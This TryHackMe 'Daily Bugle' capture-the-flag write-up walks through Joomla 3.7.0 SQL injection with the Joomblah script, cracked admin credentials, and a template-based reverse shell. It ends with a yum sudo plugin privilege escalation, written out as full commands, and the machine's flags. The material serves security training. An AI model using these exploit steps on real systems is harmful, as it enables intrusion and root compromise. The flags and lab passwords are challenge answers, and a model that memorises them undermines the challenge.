> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/tryhackme-oscp-machines/thm-daily-bugle.md).

# THM - Daily Bugle

### NMAP

```bash
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_  256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)

80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
|_http-generator: Joomla! - Open Source Content Management
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
|_http-title: Home

3306/tcp open  mysql   MariaDB (unauthorized)
```

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FikKjwNUO163cO5pAC60z%2Fimage.png?alt=media&amp;token=010effef-9886-41d7-b5ef-0efc82bfe2e0" alt=""><figcaption></figcaption></figure>

```bash
dirsearch -u <http://10.82.175.125>

[04:45:56] 200 -    4KB - /README.txt
[04:45:57] 200 -  836B  - /robots.txt
[04:46:10] 200 -    2KB - /web.config.txt

Reading the readme.txt revealed the version of JOOMLA CMS which is 3.7.0.
```

When Did a Quick google search got to know that the JOOMLA CMS is vulnerable to SQL INJECTION and the expliot [Exploit-Joomla](https://github.com/stefanlucas/Exploit-Joomla) reveals users and passwords.

### Joomla&#x20;

```bash
root@ip-10-82-102-158:~/Joomblah# ./joomblah.py <http://10.82.175.125/>

    .---.    .-'''-.        .-'''-.
    |   |   '   _    \     '   _    \                            .---.
    '---' /   /` '.   \  /   /` '.   \  __  __   ___   /|        |   |            .
    .---..   |     \  ' .   |     \  ' |  |/  `.'   `. ||        |   |          .'|
    |   ||   '      |  '|   '      |  '|   .-.  .-.   '||        |   |         <  |
    |   |\    \     / / \    \     / / |  |  |  |  |  |||  __    |   |    __    | |
    |   | `.   ` ..' /   `.   ` ..' /  |  |  |  |  |  |||/'__ '. |   | .:--.'.  | | .'''-.
    |   |    '-...-'`       '-...-'`   |  |  |  |  |  ||:/`  '. '|   |/ |   \ | | |/.'''. \.
    |   |                              |  |  |  |  |  |||     | ||   |`" __ | | |  /    | |
    |   |                              |__|  |__|  |__|||\    / '|   | .'.''| | | |     | |
 __.'   '                                               |/'..' / '---'/ /   | |_| |     | |
|      '                                               '  `'-'`       \ \._,\ '/| '.    | '.
|____.'                                                                `--'  `" '---'   '---'
         Original code by @stefanlucas

Fetching CSRF token
Testing SQLi
Found table: fb9j5_users
Extracting users from fb9j5_users
Found user [u'811', u'Super User', u'jonah', u'jonah@tryhackme.com', u'$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', u'', u'']
Extracting sessions from fb9j5_session
$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm - Possible algorithms: bcrypt $2*$, Blowfish (Unix)
```

```bash
root@ip-10-82-102-158:~# cat jonah.hash
$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm

```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FB1o5pXF6wFv4a7kwdSuF%2Fimage.png?alt=media&amp;token=71401dc0-31e8-4da2-aff1-ca673b222646" alt=""><figcaption></figcaption></figure>

```bash
User : jonah
Password : spiderman123
email : jonah@tryhackme.com
```

As the next step login to the administrator portal using the above cred and got access to the joomla portal successfully.

#### Joomla RCE

Now as the next step, Go the templates check the installed templates and modify the existing templates to create a reverse shell as follows:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fj0S7b5Yz7beYYCefFqwr%2Fimage.png?alt=media&amp;token=474a7a5b-6590-4169-8465-c95344c9806b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FeclMuhvTZOxRo017ehY7%2Fimage.png?alt=media&amp;token=da1951e0-57ce-4396-8f3c-3d2ff30879ec" alt=""><figcaption></figcaption></figure>

## Shell as Jameson

```bash
bash-4.2$ su jjameson
su jjameson
Password: nv5uz9r3ZEDzVjNu
```

Password for the jjameson is found in the var/www/html directory inconfiguration.php file.

The password was for root but by using password reuse technique the passsowrd was same.

```bash
[jjameson@dailybugle html]$ sudo -l
sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum
```

The user jjameson can use /usr/bin/yum without pass as root a quick search in gtfobins can give use how to exploit this tool to elevate our privileges.

### Privilege Escalation via Yum

**This executable can run non-interactive system commands.**

Below commands on the jjmeson shell can give us the root access

```bash
mkdir -p /tmp/yumpriv

cat >/tmp/yumpriv/x<<EOF
[main]
plugins=1
pluginpath=/tmp/yumpriv 
pluginconfpath=/tmp/yumpriv 
EOF

cat >/tmp/yumpriv/y.conf<<EOF
[main]
enabled=1
EOF

cat >/tmp/yumpriv/y.py <<EOF
import os
import yum
from yum.plugins import TYPE_CORE, TYPE_INTERACTIVE

requires_api_version = '2.1'

def init_hook(conduit):
    os.system("/bin/bash")
EOF

sudo yum -c /tmp/yumpriv/x --enableplugin=y

```

## Shell as Root

```bash
[root@dailybugle jjameson]# whoami
root

[root@dailybugle jjameson]# cd /root
[root@dailybugle ~]# pwd
/root

[root@dailybugle ~]# ls
anaconda-ks.cfg  root.txt

[root@dailybugle ~]# cat root.txt
eec3d53292b1821868266858d7fa6f79
```

```bash
[jjameson@dailybugle ~]$ ls
ls
user.txt
[jjameson@dailybugle ~]$ cat user.txt
cat user.txt
27a260fe3cba712cfdedb1c86d80442e
```


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